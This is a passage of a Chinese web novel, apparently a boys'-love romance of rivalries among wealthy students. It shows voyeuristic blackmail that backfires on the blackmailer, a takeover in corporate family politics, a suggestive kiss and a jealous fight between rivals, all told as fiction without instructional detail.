走廊尽头的应急指向灯闪着绿色的光,将宋煜的惨淡又莫名兴奋的表情照的颇为诡谲。 镜头缓缓向下移动,穿过开裂的门板缝隙,将盛衍凌乱卑微的样子拍了个一清二楚,却刻意避开了朗月现的正脸,只拍到对方小半截身体以及随着说话微微滚动的喉结。 小腿传来酸麻的刺痛, 宋煜不知道自己在这偷窥了多久。衣服黏在后背上,浑身已经被汗水浸透了, 他胡乱抹了把额头的汗,看着手机里正在上传的云端备份进度条,嘴角不受控地往上翘。 他已经很久没有关于朗月现的任何消息了,急切的想念让他心急如焚却又无可奈何, 他的朋友圈中唯一能探听到朗月现一点点消息的人他也很久没有交流了。 想起程澈最近刻意保持的距离,宋煜从鼻腔中挤出一声冷笑。程澈好像不知道从哪儿察觉到器材室那次霸凌有宋煜参与的成分,是宋煜和董其铭共同给他设的一个局。 但是程澈就像什么都没发生似的,只是默默拉远了和自己的距离,连质问都没有一句。昨天在楼梯间擦肩而过时,对方甚至帮他扶住了差点摔落的文件夹。 宋煜抹了把下巴上的冷汗,不屑的笑了笑。 那家伙永远都是这样,永远会用一种平静到近乎慈悲的心情去对待周围的人。或者说,宋煜和程澈认识这么多年,程澈的脾气修炼得愈发炉火纯青。除了在和朗月现无关的事情上, 程澈一直没有展现过任何激烈的情绪,就像个没脾气的苦行僧。 这份打不还手的姿态比谩骂更让宋煜烦躁,宋煜一直不喜欢程澈,他觉得那张永远平静的脸上只会故作清高,明明被背后捅刀子还要装大度,无论别人怎么对他,他永远都会云淡风轻说“没事。” 之所以小时候会选择跟他做朋友,就是因为程澈对很多事都睁一只眼闭一只眼,不去同他计较。这让宋煜觉得程澈非常好拿捏,这也是宋煜一直看不起他的一点。 这种人怎么配入得了朗月现的眼?他觉得程澈一定有什么藏着掖着的特殊办法。所以程澈不来找他麻烦,他反而转过头缠上了对方。 不过程澈这段时间不知道在忙些什么,这种优等生甚至连上课时间都几乎见不到他。宋煜还去了程澈常去的兼职店面去问,结果人家说程澈早就不在这儿干了。边说还边有些惋惜,说那孩子又能干脾气又好,很舍不得他。 “装什么清高,虚伪。”宋煜不屑的翻个白眼,只觉得程澈天生就会装那种讨喜的乖顺性子讨别人欢心。同样是话不多,自己就是沉默寡言,小家子气,程澈就是能干务实,招人喜欢。 程澈这家伙一定藏着什么不为人知蛊惑人心的手段,才能让朗月现这样的人物另眼相待,宋煜更加坚定了要从程澈那里挖出来东西的决心。 直到某天的论坛推送加粗标题刺进他的眼睛:“金融系双子星庆功宴将于本周五盛大举行”。他点开会场布置图,气球拱门下两个并排的姓名亲密地挤在一起,看的他直犯恶心。 玻璃门映出的倒影中,宋煜看到了自己阴郁的侧脸和手机屏幕中程澈永远挺直的脊梁。他对着反光的玻璃门扯出个冷笑,喉头泛起的酸涩混着西北风狠狠灌进肺里。 虽然知道了对方的行程,但是没有邀请进不了宴会大厅。宴会厅暖黄的光晕透过门缝漫出来,宋煜裹紧外套跺了跺冻麻的脚,不知过了多久,没等到程澈,反而是那个他心心念念直至夜不能寐的人突然从消防通道闪身出来。 黑色西装在他身上亮眼地像黑蝶的翅膀,在宋煜的视网膜上扑棱棱地飞。 宋煜刚一看见* 眼睛就挪不开了,那个人连皱眉都矜贵,西装下摆随着他飞快的脚步翻飞,径直往礼堂后的西南方向走去。 宋煜毫不犹豫的远远跟了上去,一直跟到废弃教学楼的顶层一间教室中。那间教室门大敞着,朗月现走进去随手关了门,铁门合拢的“吱呀”声在空荡的走廊格外刺耳,遮挡了宋煜跟上来的脚步声。 然而就在门关上的瞬间,清脆的“咔哒”一声,门锁突然自动落锁了。 朗月现也明显愣了一下,他没想到年久失修的铁门上锈住的锁怎么会这么巧的在关门的瞬间卡住门栓。 这当然是盛衍做好的手段,等得就是朗月现随手关门的这一下。 朗月现在屋内试着掰了掰把手,除了弄了自己一手锈迹,没有任何作用。朗月现便直接往屋内走去,宋煜也跟着凑到门缝处往里看。 刚一开始他也没看见角落里的盛衍,直到盛衍自己颤颤巍巍的自己站了起来。宋煜差点笑出声,这位高贵的学生会会长白衬衫凌乱不堪还沾着墙灰,平日里这么目中无人的家伙此刻落魄的简直令人发笑。 “演得真卖力啊。”宋煜舌尖抵着后槽牙想。 宋煜和盛衍暗地里合作过几次,盛衍曾经试图借他的手解决掉某些情敌。 所以他太熟悉盛衍这种自导自演的做派,那个表面温文尔雅的高岭之花,内里其实早已经烂透了。宋煜这才知道,原来像他们这种高高在上的家伙,内里也会同他这种下等人一样不堪入眼。 连朗月现都是在看了监控之后,才知道盛衍是自己对自己下了药。但是宋煜才刚看到盛衍出现,几乎是瞬间就明白了,这一切只不过是盛衍做的一个局。 盛衍这种精致的利己主义者,自觉天生高所有人一头,如果无利可图的话,他绝不会允许自己以这种落魄的样子见人。 两个人在屋内的所有互动都被宋煜看在眼里,即使朗月现让盛衍做的一切甚至带上了明显的羞辱意味,但门外一眨不眨看着全程的宋煜却嫉妒的眼睛都要红了。 他也好想像一条狗一样跪在朗月现面前,任由他用鞋尖挑起自己的下巴,随意的折磨凌辱自己。 在极度失智的妒火下,宋煜下意识掏出了手机,疯狂地连按快门,将这一幕幕拍了下来。 宋煜蹲在墙角,他不断翻看着相册中的照片,激动的手都在抖,几乎拿不稳手机。他潜意识中恍然有种预感,这一定能成为改变他整个人生走向的重要节点。 突然间,屋里的声音大了起来,宋煜被惊得浑身一颤,他立刻站起来看,两人刚刚还暧昧亲密的紧贴姿势,此刻却被朗月现毫不留情的一脚踹开。 眼看着两个人都站了起来,宋煜赶紧起身躲进了更隐蔽的角落中,偷偷探出小半张脸关注着门口的动静。 “砰”的一声巨响,朗月现踹门时带起的风几乎都要扑到宋煜脸上,那人整理袖口的手指在月光下白得晃眼。 朗月现先走了出来,连个余光都没分给还在屋内的盛衍。 又过了差不多五分钟,朗月现的气息都淡了,盛衍才缓缓从屋里走了出来。手里拿着手机,似乎在给医院打电话交代自己的症状。 直到废弃教室门突然被风撞上,惊飞了窗外的飞雀,宋煜才拖着已经蹲麻了腿踉跄着从地上站了起来。 他走进教室,腿不小心撞到生锈的课桌,钻心的麻痒顺着神经窜上太阳穴,他却恍然不觉。他舔了舔咬破的舌尖,血腥味混着房间内潮湿的霉气在鼻腔蔓延开来。 宋煜握紧了手中的手机,像是握住了他所展望的一整个未来。 —— 盛衍的手肘压着满桌的材料,白衬衫领口被他伸手随意地解开了两颗扣子。窗外乌云翻滚的光线落在他挺拔的脊背上,盛衍坐在实木桌后,慢条斯理地擦拭金丝眼镜,双腿交叠着,鞋尖有一下没一下点着地板,饶有兴致的抬起眼睛看向面前站着的人。 “你再说一遍,你要干什么?” 宋煜僵立在盛衍的学校专属办公室中央,脊背绷的极紧,像是随时要崩断的弓弦。 他其实从一开始在体育馆第一次见到盛衍时,就对他有一种生理性的惧怕。就好像生物天生逐利避害的本能一般,下意识就想要远离。 但是想想自己未来的人生,宋煜还是咬紧了牙摒弃了本能,硬着头皮站在了盛衍的面前。 “我这里有你那晚在教室里……的照片,”宋煜举起手机时腕骨都在发抖,“我想和你做个交易。” 在宋煜抬起的手机里,盛衍看见自己当时狼狈不堪的模样,眼角眉梢都是赤裸裸的欲/望,再一次回忆起了那晚的窘迫和朗月现亲自带给他的羞辱,这竟然让他再一次不可抑制的兴奋起来。 他不自然的调整了一下坐姿,又眯起眼睛仔细地看了看,发现照片里并没有出现朗月现的完整身影,只有无法辨认的小半截身子,才稍稍安心下来。 心里想着宋煜还算知趣,如果这张照片有任何能辨认出朗月现的嫌疑,宋煜今天都不可能走得出这个房间。 盛衍眯起眼睛,第一次真正开始审视起面前这个男人。果然还是觉得很恶心,从第一面就觉得恶心。不过现在倒是有些本事了,竟然敢来威胁自己了。 盛衍毫不在意的笑了笑,他低下头将自己的嘲弄讥讽遮住,缓缓问道:“你凭什么觉得,几张照片就能拿捏我?” 宋煜明显也想好了说辞,他在盛衍的目光下强作镇定,捏紧了手中的手机,仿佛从中获得了极大的勇气。 “你可能不在乎,但是你的父亲,据我所知,最近正在处于大选的关键阶段吧。” “不知道他儿子衣衫不整的桃色新闻会不会影响他这位直系亲属的重要竞选。” 哈!盛衍猛地将头低下,他差点笑出声来。 这也能不怪他沉不住气,毕竟已经很久没遇到天真到这种程度的家伙了,看着一副精明模样,其实还是没从村子里飞出去的山鸡而已。 这个蠢货居然以为能凭借这种把戏威胁到一个身居要职的政府官员?太可笑了,别说把这个消息传出去,就连宋煜想动一下这个念头,都不用他父亲亲自出手,光凭那些正愁找不到门路讨好巴结他父亲的人,就能把这只单纯的山鸡生吞活剥了。 但是盛衍没将这种情绪展露出来,他故作严肃的皱起了眉,想看看这个蠢货做这一切到底是为了什么:“那你想做什么交易?” 钱吧……无非就是钱,这些穷人家的小鬼,说到底也就是一个钱字…… “我要你帮我,爬上朗月现的床。” …… 死一般的寂静。 然后,盛衍动了。 钢笔滚落在地板上的声音在这片寂静的空间中格外清晰,他从办公桌后绕出来,站到了宋煜面前,盛衍扯松领带,金属扣划过宋煜身体时激起一片鸡皮疙瘩。 他比宋煜要高,这会儿垂眼看人的样子是宋煜从未见过的阴沉可怕,周身萦绕着令人窒息的压迫感。宋煜完全不受控制的瞬间出了满身冷汗,肾上腺素都在尖叫着危险逃离,狠狠的打了个寒颤。 盛衍的声音极其阴沉,原本高冷的气质骤然变得阴狠乖戾起来,似乎在强行压抑着暴怒:“我有没有说过,别用你那双肮脏的眼睛看他。” “你这种阴沟里的老鼠,怎么还敢肖想他?” 宋煜呼吸变得急促,他紧紧捏着手机,甚至听到了皮肉摩擦的咯吱声,他恨透了这种被完全压制的处境,却还是梗着脖子,强撑着抬起眼睛,露出一个恨极了的笑:“盛会长不也像狗一样跪着求他?” “我知道你办得到,帮我安排个机会,对你来说很容易不是吗?” “我这辈子就这点念想,我希望能让他记住我,让他看见我,哪怕是以多么难看的姿态。” 宋煜指尖狠狠戳着照片里衣衫凌乱的盛衍发红的眼尾。 “这点,盛会长您比我要清楚的多吧。” 呵。 盛衍气笑了,像看疯子似的打量眼前人,只觉得可笑至极。 他揪着宋煜衣领把人怼到窗边,玻璃被撞得哐当作响,原本想直接把这疯子扔出去,可看到对方这幅可笑的自以为能引起朗月现注意的可笑模样,又觉得实在是应该给他一个教训。 “说完了?” 盛衍忽然轻笑,宋煜看见他嘴角扬起的弧度,脊背突然发凉。 可盛衍的下一句话直接让宋煜瞪大了眼睛。 “好啊,我帮你。” —— 宋煜醒来时鼻腔充斥着劣质香薰和酒精的味道,后颈还残留着注射后的胀痛。旋转的彩色射灯在天花板上打出晃眼的光斑,他觉得自己似乎是躺在包厢的皮质沙发上,头晕脑胀,整个身体像是被卡车碾过似的钝痛。 宋煜试图挪动身体,弄清现在到底是个什么状况,满墙镜面映出他被汗水浸透的丝绸衬衫,黏在沙发上每次挪动时都发出“滋啦”的声响。 这时突然有人缓缓出声:“醒了?” 宋煜一惊,他勉强抬起头,看见个穿灰色唐装的高大男人坐在沙发前的茶几上,手肘撑在膝盖上削苹果,果皮垂成长长一条。 “你是……”宋煜一开口才发现自己的声音哑到几乎发不出完整的音节。男人也听了出来,稍稍一扬下颌,一瓶矿泉水就从沙发背后扔了过来。 宋煜这才发现,原来沙发背后还站着四五个穿着黑西装的人,看上去像是保镖之类的壮汉。 “喜欢拍照?”唐临晖的声音从面前传来,宋煜一惊,努力撑着起身时不小心打翻了果盘,浸着酒液的冰块顺着他的裤管往下滑。 “你是谁。” 唐临晖并不理会宋煜的问话,他慢条斯理的咬了一口苹果,抬起眼看向他,反而问了他一个问题。 “你知道,人类社会为什么会有阶级这种东西?” 宋煜浑身剧痛,他抱着手臂艰难的维持着坐在沙发上的姿势,整个人都处在浑浑噩噩的状态。 怎么回事……自己不是按照盛衍所说的,去到那个路口,会有人接他去朗月现所在的酒店…… 唐临晖也不介意,他自顾自的说道。 “是为了剔除阶级分化中的劣等基因。” “他们可能对当前的阶级现象感到不满,妄想通过一些小聪明,想要突破其中的禁锢。” “可是你要知道,有些人,本身就是没有价值的。社会是一个巨大的茧房,人永远突破不了自己的认知。你就是把权力给他,递到他手中,他也不会用。” 宋煜整个人如坠冰窟,他盯着地面,连看唐临晖一眼也不敢,只觉得面前的人像是来索命的厉鬼,带着一把能敲碎他所有幻想的大锤。 唐临晖的水果刀扎进苹果核,他深深地叹了一口气:“太蠢了,蠢到我那个自负自大的外甥都不愿意亲自出手。” 他举起宋煜的手机随意的晃了晃,“你以为这种把戏能威胁的到谁?” 宋煜瞳孔巨震,挣扎着就要去抢,可是身上实在太痛,他甚至没能成功从沙发上爬起来就跌落在地。 唐临晖极轻的嗤笑一声:“太弱小了,甚至连个有趣的乐子都算不上。” 唐临晖踩住他企图够手机的手,头顶的射灯在某一瞬间映亮了他阴沉的眉眼。“你相册里那些脏东西,我帮你换成更合适的了。” 宋煜依旧微弱的挣扎着去够手机,后颈突然贴上冰凉的玻璃杯沿。唐临晖蹲下来用杯底碾着他发烫的耳垂:“之前给你准备了十几个机位,不过当时你还晕着,不会笑,可惜了别人这份苦心。” 唐临晖漫不经心的用鞋底碾着青筋暴起的手背,将手机打开给他看,满屏赫然是他瘫在沙发上任人摆布,衣衫大敞的照片。 “原图我替你发给了你暗恋的朗少爷。”唐临晖声音很轻的笑了笑,看着听到朗月现名字之后突然停止挣扎的宋煜。 “我说,你要不要阻止我,你猜他说什么?” 宋煜垂下头,面上骤然一片死寂。 “他说,这人是谁?” 当所有人都离开了房间,宋煜跪在地上,手中的手机相册里塞满自己无数张不堪入目的连拍照片。 照片里的自己瘫在包厢的沙发上,胸前泼洒的洋酒在灯光下泛着诡异紫光,而原本偷拍的盛衍文件夹包括所有的云端备份全部只剩下空。 最后的短信是盛衍发来的。 「祝贺你,得偿所愿。」 第五十三章 两个人似乎达成了某种微妙的共识 迈切斯特在上市之后仿佛一匹脱缰的野马, 势头猛烈得让无数商圈大佬们不得不收起对小辈的轻视,重新审视起这个异军突起的新秀。 陆家代代经商却始终不温不火,勉强算是个吃喝不愁的中产阶级, 但是对下一代的教育格外上心。早早就把陆存远送出国深造,盼着他到了一定年纪能自动觉醒商业天赋。 陆存远在耳熟目染的成长过程中确实觉醒了某些认知。他终于明白, 有些事不是光靠努力就能实现的。 视频会议中,陆存远把季度计划传给视频对面那个人,这位被无数金融大佬誉为不可多得的商业奇才的迈切斯特老总,此刻的却像等着老师批作业的小学生似的屏息凝神。 朗秉白快速扫过文件,微微颔首:“还可以,谁做的方案?” “战略部的程澈, ”陆存远忙不迭的赶紧回道:“小程熬了好几个通宵,很用心的。” 视频那头突然沉默了几秒, 紧接着听到朗秉白从鼻腔中冷哼一声:“难怪。到底是年轻人,计划中的做法太激进了,不够稳妥。他以为商场是过家家吗?打回去重做。” 陆存远:“……哦……” 时运确实是个非常重要的东西,陆存远自己也承认他能走到今天这一步确实是走了大运。 创业途中不但半路上捡到了程澈这种天纵英才, 公司成功上市后没多久,朗秉白某天突然出现在他的办公室里。 秘书将人带进来时,陆存远手一抖差点泼了满桌咖啡。前两天他才和朗父喝茶时谈起是不是该给朗秉白找个心理医生看看,今天这位传闻中的“病人”就活生生的站在他面前。 常年处于高位的男人身上自带的上位者气场压的人喘不过气,冷漠的一张脸上毫无情绪。看的陆存远腿肚子都发软,疯狂在脑海中回忆自己最近有没有做错什么惹了自己这位财大气粗的大金主。 好在朗秉白只是来谈合作的,开门见山第一句话就是让陆存远准备好,他要亲手接管迈切斯特。 朗秉白想的很清楚,要想光明正大和朗月现在一起,首先需要一个能和朗父对话的载体。 作为谈判的筹码, 迈切斯特现在是发展迅速的金融圈后起之秀,公司规模上无法给到朗父压力,不会让朗父认为朗秉白是在威胁他,但是实力上又足够让这些老牌世家高看一眼,非常合适。 朗秉白当然知道直接让老板让位不现实,即使他是集团最大的股东,也没有把老板搞下去自己上位的道理。 更何况他现在名义上还在“养病”,公开露面等于打朗父的脸。简直就是对朗父的挑衅,表明立场上朗氏父子已经闹掰了,这是朗秉白最不想看到的结果。 所以他不能出面,只需要负责背后掌控整个集团走向。可还没等朗秉白开口解释,陆存远直接激动的三步并作两步蹿上来就九十度鞠躬道谢,十分感谢朗秉白看得起他这间小公司。 能傍上朗秉白这颗大树,简直像是走在路上迎面飞来一张巨额彩票,就差当场流下两行清泪以表敬意。 陆存远虽然在专业领域上比不上朗秉白和程澈这种天生将才,但是他在审时度势这方面堪称一绝。 陆存远的确是个非常优秀的决策者,毫不自大,对自己的水平能力非常有自知之明。他知道自己在专业方面比不上程澈,能力方面对比朗秉白简直是登月碰瓷。 他乐得大手一挥,直接当甩手掌柜,每天只需要听从安排,接待应酬,偶尔当当传声筒,就能亲眼看着迈切斯特在这两位狠人的共同努力下平地起高楼。 站在这座高楼上的陆存远可谓是一度风光无两,迈切斯特在商业暴君和未来的金融巨鳄的努力下,逐渐已经开始能和朗氏对上话了。 * 朗月现坐在办公室沙发上,接过朗父扔过来的策划案,翻看了几页,眉梢轻轻挑了起来。 “这方案,看着像我哥的风格啊。” 朗父端着杯子抿了口热水,仰了仰下颌示意他继续:“接着往下看。” 朗月现又翻了几页,看到最后,不由得嗤笑一声:“这什么意思,搞慈善白送啊?” 朗氏和迈切斯特商定的合作项目条款中,朗氏准备在投资方面出大头占大头,也算是合理。可迈切斯特重新拟定的这份新合同明确表达了,在前期投入资金方面,迈切斯特同朗氏出资占比一致,双方平摊资金,但后期回流朗氏依旧按百分之70收取所有盈利资金。 很难想象这种霸王条款是由乙方主动提出的,上赶着给他们送钱。 “朗秉白什么时候做过这么亏的买卖?”朗月现将合同往旁边随意一扔,坐在沙发上支着头:“咱们朗氏也是不行了,都落魄到要让小辈给咱们送温暖了。” 朗父看了小儿子一眼,悠悠说道:“说得好啊,你哥什么时候做过亏本买卖了?” “人家有条件。”朗父把杯子放下,看着他小儿子的脸色,话说得意味深长:“合同生效的前提是,这个项目,必须全程由你亲自跟进。” 朗月现缓缓抬起眼睛看向了朗父。 朗父也直视着他,似乎想从他眼睛里得到些什么问题的答案:“你怎么想?” 父子俩的视线在空中胶着片刻,朗月现没什么反应,他低下头捏了捏眉心,片刻后抬起脸,嘴角挂着的弧度似笑非笑。 “跟啊,能看着朗秉白割肉放血的机会……”他玩味的弹了下合同,“这辈子能有几回?” —— 天气慢慢回暖,学校中的大片栾树抽出红彤彤的嫩芽,渐渐有了开花的迹象。 朗月现摘下眼镜,疲惫的后仰起头靠在椅背上,旁边一直密切关注着他的程澈适时地走上来浅浅按住了他的太阳穴开始揉按。 朗月现感到舒适的闷哼几声,程澈有些心疼轻声说;“睡一会吧,期末作业我帮你做好。” 金融系的那位老教授出了名的固执,就算刚拿了大赛金奖的朗月现门门功课拔尖,不交作业照样挂科。程澈本可以完美的将两份作业做好上交,但是他就是想找个由头,私心上实在是想见见朗月现。 自从朗氏同意接下迈切斯特合同中的特殊附加条件后,朗秉白全程接手所有相关业务,直接将程澈所在的战略组完全踢出局,根本不允许他们出现在项目现场。 陆存远都有些过意不去,特地给程澈带薪放了几天假,让他回学校休息休息。 程澈不愿意坐以待毙,只能另想办法,委婉的告知朗月现有关期末作业的问题,朗月现便每天抽出几个小时的时间回宿舍整理作业。 但当他眼睁睁看到朗月现这样两边忙碌,程澈又心疼的不行,他甚至有些气愤自己怎么能自私到这种地步,为了一己私欲就要让朗月现累成这样。 暗地里狠狠给了自己几个巴掌,一边因为能看见朗月现而觉得满足,又一边恨自己不中用,但凡能再站的高一些,也不会任人摆布到现在这个地步。 朗月现听后没什么反应,只是摇了摇头:“还剩个收尾。” 他拉住程澈放在自己太阳穴上的手将人扯到面前,程澈了然的顺势半跪在他面前,掌心覆在朗月现的膝盖上,乖顺的仰起头,双颊激动的微微泛红。 朗月现便按住他的后脑,低下头同他接了个吻。 自从之前接吻得了趣之后,朗月现似乎喜欢上了这种放松方式,时不时的会同程澈接吻。他单纯只是因为觉得舒服,并不会去想一些多余的事情。 和朗秉白那侵略感十足,几乎要把他吞吃入腹攫夺般的吻不同。程澈很乖,嘴唇又软,带着青涩的甜味,身上的味道也很好闻,每次深吻下去他整个人还会控制不住的微微颤抖,这让天生掌控欲旺盛的朗月现觉得非常舒服。 朗月现忽然重重咬住他下唇。 齿尖刺入软肉的瞬间,嘴角漏出半声气音,立刻被温热的辗转吞没。 舌尖抵着舌尖推挤发烫的唾液,上颚被粗暴扫过时程澈控制不住的伸手扯住朗月现的衣领,将两人身体拉得更近。 唇瓣在厮磨中烙出相同的纹路,吞咽声混着来不及咽下的水光从嘴角溢出。 纠缠的节奏开始失控,朗月现扣住他的后颈加深这个吻,程澈由着他在口中侵略般的搅弄。 分开半寸换气时两人睫毛相撞,鼻尖错开的角度让两人的呼吸交缠成网。下一秒朗月现的舌尖狠狠划过程澈的犬齿,重新撞进湿漉漉的唇齿间,吞没了所有心照不宣的呜咽。 程澈烙在朗月现的腰窝凹陷处的掌心越来越热,喘息声也逐渐变了味道,朗月现才捏住程澈的后颈,将已经被吻到失神的人从自己怀中扯开些许。 粗重的呼吸频率在程澈饱满的胸膛上剧烈起伏,分开时他忍不住仍贪恋地用鼻尖轻蹭朗月现被吻得晶莹嫣红的唇瓣,那甜蜜的让人上瘾的滋味还在唇间打转。 还未停顿片刻喘匀气,程澈便又急迫的追上去,被朗月现用手指挡住。 “够了。”朗月现餍足的用手指随意揉按了几下程澈的唇瓣,看着他失焦的眼神,恶劣地眯着眼轻笑:“我要睡一会儿了,有事情也不要叫醒我。” 程澈默默看他喝下温水,接过杯子后为他轻轻掖好被子,凝视着他沉沉睡去的模样,即使下/腹还昂扬着要把他烧毁的欲望,胸腔却被暖融融的情绪填得满满当当。 这时,朗月现放在桌面上的手机突然震个不停,程澈慌忙抓过手机。看清来电显示的瞬间,脸色瞬间阴沉下来。 他想都不想的挂断了电话,来电却仍然执着地闪烁。程澈烦躁的想调成静音,却下意识的看向正在熟睡的朗月现。 如果阿月醒来后看到这些未接来电,会不会拨回去? 然后……离开自己去找那个人。 光是想到这个可能性,程澈心口就疼的发紧。 他攥紧手机闪身进了浴室,反手关上门,按下了接听。 —— 周闻铮赶过来时,程澈正一个人站在走廊里,白炽灯管在他头顶投下冷光,听到脚步声抬头望过去,睫毛在眼睑下投下浓重阴影。 正值期末季,楼道里飘着若有若无的苦咖啡味,学生们除了考试就是去各处完成学校派发的学分任务,偶尔有学生抱着材料匆匆跑过,整栋宿舍都显得空荡荡的。 脚步声在空荡的走廊中撞出回响,两个身材相仿的高大男人正面对面对峙。 周闻铮轻蔑地扯了下嘴角,冲锋衣拉链随着动作划拉作响。他故意用肩膀撞开程澈就要往里闯,却被人用整个后背堵在门前。 周闻铮顿时不悦的眯起了眼睛,毫不掩饰的敌意几乎要凝成实体。 “滚开,老子要见他。” 程澈突然按住他手腕的力道大得惊人,五指铁钳似的扣住他的手腕,纹丝不动。 “他很累,刚睡下了。” 这么有歧义的话彻底点燃了火药桶,他猛地揪住程澈的衣领,听见布料发出不堪重负的撕裂声,程澈的后背撞在消防栓上发出哐当的闷响,金属柜门被震得嗡嗡作响。 周闻铮从牙缝里挤出声音,咬牙切齿道:“你他妈什么意思。” 程澈丝毫不让,右手还死死卡着门框:“你现在情绪太激动,在你冷静下来之前,我不会让你进去的。” “你他妈就是让我冷静不下来的原因!” 周闻铮一脸怒容,两只眼睛仿佛冒着火,面上前所未有的凶恶,一字一顿道:“你除了装可怜博同情,你还有什么本事能留住他?” “这种小把戏就算你能装一辈子,月月也早就看腻了。” “我才是能陪他走到最后的人,而你,只是他无聊时的一个消遣罢了!” 程澈的拳头砸过来的时候,周闻铮没有躲。 拳头结结实实砸在颧骨上的闷响让空气一滞,周闻铮踉跄着后退撞到墙上,铁锈味在舌尖漫开,却从胸腔震出沙哑的笑声。 他歪头啐掉血沫,舌头顶了顶腮帮,脸上的表情慢慢消失,阴鸷的眼睛里翻涌着挑衅和说不清的情绪。 “再来啊,”他哑声说,“乖学生忍很久了吧?” 程澈的呼吸声瞬间变得粗重,无可抑制的愤怒在他的血管中奔腾翻滚,对面前这个人压抑已久的情绪瞬间爆发。 他难以保持住最后的理智,一把揪住周闻铮的衣领,手背爆出青筋,力道大得几乎要把他的衣服扯裂。周闻铮嗤笑着反手拽住程澈的衣领,两人在狭窄的走廊里抵死较劲,像两头非要撕咬到见骨的野兽。 突然间,宿舍里一声细微的翻身窸窣响动,像是一盆冰水当头浇下。 周闻铮的膝盖还抵着程澈的腹部,能感觉到对方骤然僵住的肌肉。程澈卡着他脖颈的手也松了力道,两人同时偏头看向那扇略显斑驳的木门。 羽绒被窸窣的摩擦声混着无意识的一声轻哼,让走廊上的两个人保持着这个可笑的姿势屏息等待了十秒,二十秒,直到房间里再也没有动静响起。 走廊又重归寂静。 程澈撑着墙率先撤开,周闻铮慢吞吞站直身子。两个人心照不宣的谁也不敢吵醒他。 因为只要朗月现睁开眼,这场荒唐的僵局就必须有个结果。 而他们心知肚明,谁也无法承担输掉的结果。 他们都输不起。 周闻铮的指节抵在宿舍的门板上,无声地推开一条缝隙。 日光从窗帘的缝隙漏进来,落在朗月现熟睡的脸上。 他侧身蜷着,睫毛在眼下投出小片阴影,熟睡的面容恬静的让人心尖发软。 黑发缠在雪白的枕头上,被子滑到肩头,那双格外嫣红的唇带着明显被人深吻过的印记,刺得周闻铮眼眶生疼。 喉结重重滚了下,面上咬肌绷紧,拳头攥得咯咯作响。 程澈站在他身后,脸上还带着淤青,声音沙哑:“他累了,别吵醒他。” 周闻铮静静站在床边,浑身绷紧,每一处肌肉都在诉说着对面前这人的掠夺渴望。手指悬在那片红唇上方打颤,他想扯开那床碍事的被子检查更多痕迹,想把人直接抱回自己的地盘,最终却只是轻轻掖了掖被角。 他垂下头,额头抵着床架,吐息都是抖的。 厚着脸皮和朗月现在一起同居了这么久,他以为自己总算焐热了对方的心。他改掉自己不讨喜的脾气,学着变成朗月现喜欢的样子,他以为两个人就会这么慢慢的、平静的走下去。 他是那么爱他,爱到把命给他都觉得还不够,可他呢? 却在别的地方同其他人吻得难解难分。 原来这么久,自己在他心里,依旧没留下任何印迹。 周闻铮死死盯着那双唇瓣,他还从未得到允许品尝过它的香甜。而此刻那双红肿的唇上,却带着别人的印迹沉沉入睡。 这个念头像刺骨的寒刀狠狠剜进他的血肉,将他的心脏活生生剖了出来,丢到一边。 周闻铮颤着声音吐出一口气,他自嘲地露出一丝苦笑,没人要的东西,丢了就丢了吧。 他缓缓站起身,却突然听到一声含糊梦呓,周闻铮赶紧转头,发现朗月现只是蹭了蹭枕头,睡得正香。 脚底像是生了根。 那道迷糊的轻哼轻而易举的变成了拴住疯狗的锁链。 窗外的日光丝丝缕缕透进来,周闻铮站在光影交错处,就这么静静看着自己的爱人,咬紧了牙关,每一次* 深呼吸都似乎在和什么极其痛苦的抉择做斗争。 他重重吐出一口气,眼眶立刻红了。 他竟然有点想笑的感觉,又实在做不出笑的表情。 最终也只是深深看了他一眼,转身轻手轻脚关门离去。 程澈跟着他走到了走廊里,周闻铮倚在墙边,点上烟。 周闻铮出了门脸色就变了,身上那股浑不在乎的架势也有些维持不住了,点烟的手抖的厉害。 他们俩谁都没再说话,各怀心思地站在阴影中。两个高大的身影沉默对望,仿佛某种心照不宣的休战协议,在这一刹同时决定妥协了些东西,达成了某种微妙的共识。 第五十四章 Last Night 朗月现睡醒看到朗父给自己发的信息时已经快晚上5点了。宿舍里空无一人, 他抹了把脸翻身下床,凉水扑在脸上才清醒些,扯过外套就下了楼。 黑色皮衣兜头罩下来时带起一阵冷玫瑰沐浴露的香味。睡得有点懵, 朗月现站在楼下缓了半天,直到夜风裹着栾树花叶擦过脚踝, 他才后知后觉想起机车今天一早送去保养了。 “操。”他对着路灯杆子笑骂出声,掌心重重搓过热烘烘的后颈,伸手把额发捋到脑后,转身时目光扫过不远处栾树底下的黑车,车窗上倒映着刚刚亮起的路灯明明灭灭的灯火。 他径直走到黑车的驾驶位前,指节叩了叩车窗。 停了两秒之后, 车窗缓缓降下,露出朗秉白有点僵硬的侧脸。 “……小月, 你听哥哥解释……” “去集团。”朗月现径直拉开后车门坐了进去。 “……” 仪表盘上的荧光在朗秉白镜片上晃过,他开车习惯戴上眼镜,他抬手扶了扶镜片,喉结动了动刚要开口, 另一侧车门突然弹开。 盛衍手肘搭着车窗探进半个身子,那张假笑着的脸看了一眼驾驶座上的人就收回了目光,笑着盯着朗月现道:“好久不见,小月,这是要去哪啊?” 朗秉白看见来人顿感烦躁,指尖不耐的几乎要掐进方向盘缝线中,他眉头一皱就要赶人,朗月现却突然出声回应。 “怎么,盛会长家的司机集体罢工了?” 盛衍慢悠悠钻进后座,妥帖的定制西裤有意无意的蹭过朗月现的牛仔裤:“倒也不是, 不过我正好去中央大街有事情要办,这是要回集团吗?顺便送我一程吧。” 盛衍转头看了眼朗秉白,眯着眼睛露出一个假笑:“朗总不介意吧。” “哈哈哈。”朗月现喉间漏出些笑声,他也是第一次见盛衍这样毫不顾忌他高岭之花形象的做事态度,不由地觉得好笑。他一露出笑颜,车内凝固的空气陡然流动起来。 朗秉白从后视镜中看着两个人几乎相贴的膝盖,冷冷说道:“不介意,还没祝贺您父亲荣升厅长。” “没关系,朗氏以您全家的名义送过贺礼了。”盛衍故作惊讶的说道:“啊,我没说错吧,朗总现在……名义上还算是朗家的人吧。” 盛衍突然转向朗月现,眼神非常温柔,语气亲昵无比:“按照法律上来说,这位现在依旧还是你哥哥,对吗?” 车载空调出风口发出细微嗡鸣,朗月现突然笑出声,他饶有兴致的看向朗秉白,指尖在膝头敲出轻快节奏,鞋尖踢了踢前座椅背:“哥,人家问你话呢。” “……”后视镜里朗秉白的下颚线绷成利落的弧线,他冷冷的透过后视镜看了一眼盛衍,就像发现领地被侵犯的野兽,瞳孔危险的收缩,两道目光在空中相交绞出火星。 